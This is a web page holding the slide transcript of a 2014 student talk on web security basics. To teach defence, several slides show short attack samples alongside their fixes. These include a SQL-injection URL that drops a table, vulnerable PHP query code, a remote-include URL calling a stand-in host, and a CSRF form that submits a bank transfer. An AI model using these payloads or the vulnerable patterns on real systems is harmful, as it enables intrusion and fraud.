Upgrade to Pro — share decks privately, control downloads, hide ads and more …

RCOS Security Talk

Avatar for Kevin O'Connor Kevin O'Connor
February 28, 2014
Programming
3
170

RCOS Security Talk

Basic overview of common vulnerabilities and best practices.
Avatar for Kevin O'Connor

Kevin O'Connor

February 28, 2014
Tweet

More Decks by Kevin O'Connor

See All by Kevin O'Connor
SD&D 101
Avatar for Kevin O'Connor kevinoconnor7
0
73

Other Decks in Programming

See All in Programming
テスト駆動Kaggle
Avatar for ねぼすけAI isax1015
1
480
AIプログラマーDevinは PHPerの夢を見るか？
Avatar for Shinya Saita shinyasaita
1
230
“いい感じ“な定量評価を求めて - Four Keysとアウトカムの間の探求 -
Avatar for Nealle nealle
2
11k
型で語るカタ
Avatar for irof irof
0
320
生成AI時代のコンポーネントライブラリの作り方
Avatar for touyou touyou
1
250
新メンバーも今日から大活躍！SREが支えるスケールし続ける組織のオンボーディング
Avatar for HonMarkHunt honmarkhunt
5
8k
NPOでのDevinの活用
Avatar for みんなのコード codeforeveryone
0
870
初学者でも今すぐできる、Claude Codeの生産性を10倍上げるTips
Avatar for Oikon s4yuba
16
12k
スタートアップの急成長を支えるプラットフォームエンジニアリングと組織戦略
Avatar for Yusuke Suto sutochin26
1
6.5k
チームで開発し事業を加速するための"良い"設計の考え方 @ サポーターズCoLab 2025-07-08
Avatar for Agata Naomichi agatan
1
450
Hack Claude Code with Claude Code
Avatar for Akihiro Okuno choplin
5
2.4k
効率的な開発手段として VRTを活用する
Avatar for Yosuke Ishikawa ishkawa
0
150

Featured

See All Featured
Keith and Marios Guide to Fast Websites
Avatar for Keith Pitt keithpitt
411
22k
Making Projects Easy
Avatar for Brett Harned brettharned
116
6.3k
How GitHub (no longer) Works
Avatar for Zach Holman holman
314
140k
RailsConf 2023
Avatar for Aaron Patterson tenderlove
30
1.1k
Speed Design
Avatar for Sergey Chernyshev sergeychernyshev
32
1k
Sharpening the Axe: The Primacy of Toolmaking
Avatar for Bryan Cantrill bcantrill
44
2.4k
Building Adaptive Systems
Avatar for Chris Keathley keathley
43
2.7k
JavaScript: Past, Present, and Future - NDC Porto 2020
Avatar for David Neal reverentgeek
50
5.5k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
Avatar for Michelle Schulp Hunt marktimemedia
31
2.4k
Principles of Awesome APIs and How to Build Them.
Avatar for Keavy McMinn keavy
126
17k
Side Projects
Avatar for Sacha Greif sachag
455
42k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
Avatar for Chris Coyier chriscoyier
507
140k

Transcript

  1. YOU SUCK at security

  2. 1. Your attackers are better

  3. Do NOT ROLL YOUR OWN

  4. None

  5. 1.  Open-source 2.  Audited 3.  Active community

  6. 2. Security is hard

  7. No. Seriously.

  8. 5,000 CVEs /yr

  9. 3. Dont trust input

  10. <?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";

    ! $result = mysql_query($query);!

  11. /derp.php?user=x’ DROP TABLE users;--!

  12. /derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/

  13. <?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use

    Parameter Binding

  14. <div><?php echo $row['username']; ?></div>! XSS. Inject javascript

  15. <html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "

    "<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit

  16. <?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.

  17. Sanitize all input

  18. Blacklist Only use if you know all cases Less restrictive

    on user

  19. Whitelist Best security Very restrictive

  20. Protip Markdown Google Caja

  21. 4. Protect your cookies

  22. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session

  23. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL

    only HTTP access only Prevents XSS theft

  24. 5. No Outsiders

  25. <iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"

    ! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="[email protected]" />! " "</form>! "');! "injected.submit();! </script>!

  26. CSRF sucks

  27. Block it. Require a unique token per request X-Frame-Options: Block

  28. 6. Encrypt everything

  29. Too expensive? startssl.com

  30. Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem

    - out cert.pem -days XXX!

  31. Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,

    CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!

  32. Verify Servers Use server certs to verify servers to one

    another

  33. Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers

    (DES, RC4) h"p://blog.cloudflare.com/staying-­‐on-­‐top-­‐of-­‐tls-­‐a"acks  

  34. Force SSL

  35. 7. Use Slow Hashes

  36. No Plaintext Passwords Just don’t.

  37. Hash + Salt MD5 SHA1 … HMAC + bcrypt

  38. Wait. Explain. We want to be slow.

  39. Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!

  40. Salt-free db Store salt on file system Two attacks needed

    Or both

  41. Migrate. Maintain two hashes Rehash on successful login Purge old

    hashes after x duration

  42. Lost Passwords Hash a one-time login ID

  43. 8. Remember the basics

  44. Random IV Having the IV be public is okay

  45. Wait for entropy /dev/random waits /dev/urandom non-blocking

  46. Use ECC NSA-Proof * * As far as we know,

    at least…

  47. Passwordless Login Use keypairs for server access

  48. 9. Use libraries

  49. Crypto NaCL SJCL Crypto++ QCA

  50. Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel

    Node: Sails Java/Scala: Play Ruby: Rails

  51. Assume nothing Always research security best practices

  52. Questions? Complaints?

  53. Im hiring Sysadmin.union.rpi.edu/apply